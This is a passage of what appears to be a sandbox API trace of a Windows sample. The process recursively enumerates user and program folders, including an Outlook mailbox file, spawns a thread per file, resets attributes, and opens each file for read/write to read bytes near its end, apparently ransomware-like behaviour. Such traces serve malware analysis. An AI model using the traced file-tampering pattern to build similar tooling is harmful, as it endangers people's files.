wcscmp (_String1="qmgr0.dat", _String2="..") returned 1 [0056.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43bf78 [0056.014] wcscpy (in: _Dest=0x43bf78, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0056.014] wcscat (in: _Dest=0x43bf78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0056.014] wcscat (in: _Dest=0x43bf78, _Source="qmgr0.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" [0066.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0066.009] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0066.009] wcscmp (_String1="qmgr1.dat", _String2=".") returned 1 [0066.009] wcscmp (_String1="qmgr1.dat", _String2="..") returned 1 [0066.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x437328 [0066.009] wcscpy (in: _Dest=0x437328, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0066.009] wcscat (in: _Dest=0x437328, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0066.009] wcscat (in: _Dest=0x437328, _Source="qmgr1.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" [0066.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x437328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c [0066.010] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0066.010] FindClose (in: hFindFile=0x440360 | out: hFindFile=0x440360) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e056f8) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48cfe0) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ab50) returned 1 Thread: id = 997 os_tid = 0x1374 [0056.014] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn")) Thread: id = 998 os_tid = 0x1378 [0056.015] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn")) returned 0x20 [0065.544] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn", dwFileAttributes=0x20) Thread: id = 999 os_tid = 0x137c [0056.015] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn")) returned 0x2022 [0062.240] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.545] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1558 [0065.545] GetFileSizeEx (in: hFile=0x1558, lpFileSize=0x847fd44 | out: lpFileSize=0x847fd44*=362) returned 1 [0065.545] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.545] ReadFile (hFile=0x1558, lpBuffer=0x847fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x847fcc4, lpOverlapped=0x0) Thread: id = 1000 os_tid = 0x1380 [0056.015] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn")) returned 0x2022 [0062.241] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.545] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1554 [0065.545] GetFileSizeEx (in: hFile=0x1554, lpFileSize=0x859f89c | out: lpFileSize=0x859f89c*=338) returned 1 [0065.545] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.545] ReadFile (hFile=0x1554, lpBuffer=0x859f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x859f81c, lpOverlapped=0x0) Thread: id = 1001 os_tid = 0x1384 [0056.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4daa0 [0056.016] wcscpy (in: _Dest=0x12f4daa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" [0056.016] wcscat (in: _Dest=0x12f4daa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\" [0056.016] wcscat (in: _Dest=0x12f4daa0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*" [0056.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06f08 [0056.016] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x12e06f08 | out: lpFindFileData=0x12e06f08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440320 [0064.293] wcscmp (_String1=".", _String2=".") returned 0 [0064.293] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x12e06f08 | out: lpFindFileData=0x12e06f08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.293] wcscmp (_String1="..", _String2=".") returned 1 [0064.293] wcscmp (_String1="..", _String2="..") returned 0 [0064.293] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x12e06f08 | out: lpFindFileData=0x12e06f08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.293] FindClose (in: hFindFile=0x440320 | out: hFindFile=0x440320) returned 1 [0064.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e06f08) returned 1 [0064.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0064.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef800) returned 1 Thread: id = 1002 os_tid = 0x1388 [0056.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d9d8 [0056.016] wcscpy (in: _Dest=0x12f4d9d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0056.016] wcscat (in: _Dest=0x12f4d9d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0056.016] wcscat (in: _Dest=0x12f4d9d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0056.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e07170 [0056.016] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x12e07170 | out: lpFindFileData=0x12e07170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440320 [0064.529] wcscmp (_String1=".", _String2=".") returned 0 [0064.529] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x12e07170 | out: lpFindFileData=0x12e07170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.529] wcscmp (_String1="..", _String2=".") returned 1 [0064.529] wcscmp (_String1="..", _String2="..") returned 0 [0064.529] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x12e07170 | out: lpFindFileData=0x12e07170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0064.529] wcscmp (_String1="flashplayer", _String2=".") returned 1 [0064.529] wcscmp (_String1="flashplayer", _String2="..") returned 1 [0064.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d4000 [0064.529] wcscpy (in: _Dest=0x4d4000, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0064.529] wcscat (in: _Dest=0x4d4000, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0064.529] wcscat (in: _Dest=0x4d4000, _Source="flashplayer" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" Thread: id = 1003 os_tid = 0x138c [0056.017] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst")) returned 0x2020 [0056.017] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", dwFileAttributes=0x20) returned 1 [0065.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1414 [0065.310] GetFileSizeEx (in: hFile=0x1414, lpFileSize=0x865fbb8 | out: lpFileSize=0x865fbb8*=271360) returned 1 [0065.310] SetFilePointerEx (in: hFile=0x1414, liDistanceToMove=0x423fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.311] ReadFile (hFile=0x1414, lpBuffer=0x865fb3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x865fb38, lpOverlapped=0x0) Thread: id = 1004 os_tid = 0x1390 [0056.018] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss")) returned 0x20 [0060.736] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", dwFileAttributes=0x20) returned 1 [0060.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c0 [0060.737] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x894fdec | out: lpFileSize=0x894fdec*=0) returned 1 [0060.737] FlushFileBuffers (hFile=0x6c0) returned 1 [0066.230] CloseHandle (hObject=0x6c0) returned 1 [0066.230] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", dwFileAttributes=0x20) Thread: id = 1005 os_tid = 0x1394 [0056.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f9900 [0056.018] wcscpy (in: _Dest=0x96f9900, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" [0056.019] wcscat (in: _Dest=0x96f9900, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\" [0056.019] wcscat (in: _Dest=0x96f9900, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*" [0056.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e073d8 [0056.019] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a62e0 [0060.810] wcscmp (_String1=".", _String2=".") returned 0 [0060.810] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.810] wcscmp (_String1="..", _String2=".") returned 1 [0060.810] wcscmp (_String1="..", _String2="..") returned 0 [0060.810] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0060.810] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0060.810] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0060.810] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0060.810] FindClose (in: hFindFile=0x4a62e0 | out: hFindFile=0x4a62e0) returned 1 [0060.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e073d8) returned 1 [0060.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9900) returned 1 [0060.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400218) returned 1 Thread: id = 1006 os_tid = 0x1398 [0056.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43d9d8 [0056.019] wcscpy (in: _Dest=0x43d9d8, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0056.019] wcscat (in: _Dest=0x43d9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0056.019] wcscat (in: _Dest=0x43d9d8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*" [0056.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e07640 [0056.019] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x12e07640 | out: lpFindFileData=0x12e07640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440920 [0056.020] wcscmp (_String1=".", _String2=".") returned 0 [0056.020] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x12e07640 | out: lpFindFileData=0x12e07640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.020] wcscmp (_String1="..", _String2=".") returned 1 [0056.020] wcscmp (_String1="..", _String2="..") returned 0 [0056.020] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x12e07640 | out: lpFindFileData=0x12e07640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fb3400, ftCreationTime.dwHighDateTime=0x1c9b093, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2fb3400, ftLastWriteTime.dwHighDateTime=0x1c9b093, nFileSizeHigh=0x0, nFileSizeLow=0xa2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0056.020] wcscmp (_String1="msmdsrv.rll", _String2=".") returned 1 [0056.020] wcscmp (_String1="msmdsrv.rll", _String2="..") returned 1 [0056.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02420 [0056.020] wcscpy (in: _Dest=0x5e02420, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0056.020] wcscat (in: _Dest=0x5e02420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0056.020] wcscat (in: _Dest=0x5e02420, _Source="msmdsrv.rll" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" [0065.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0065.416] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x12e07640 | out: lpFindFileData=0x12e07640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0065.416] wcscmp (_String1="msolui100.rll", _String2=".") returned 1 [0065.417] wcscmp (_String1="msolui100.rll", _String2="..") returned 1 [0065.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02960 [0065.417] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0065.417] wcscat (in: _Dest=0x5e02960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis 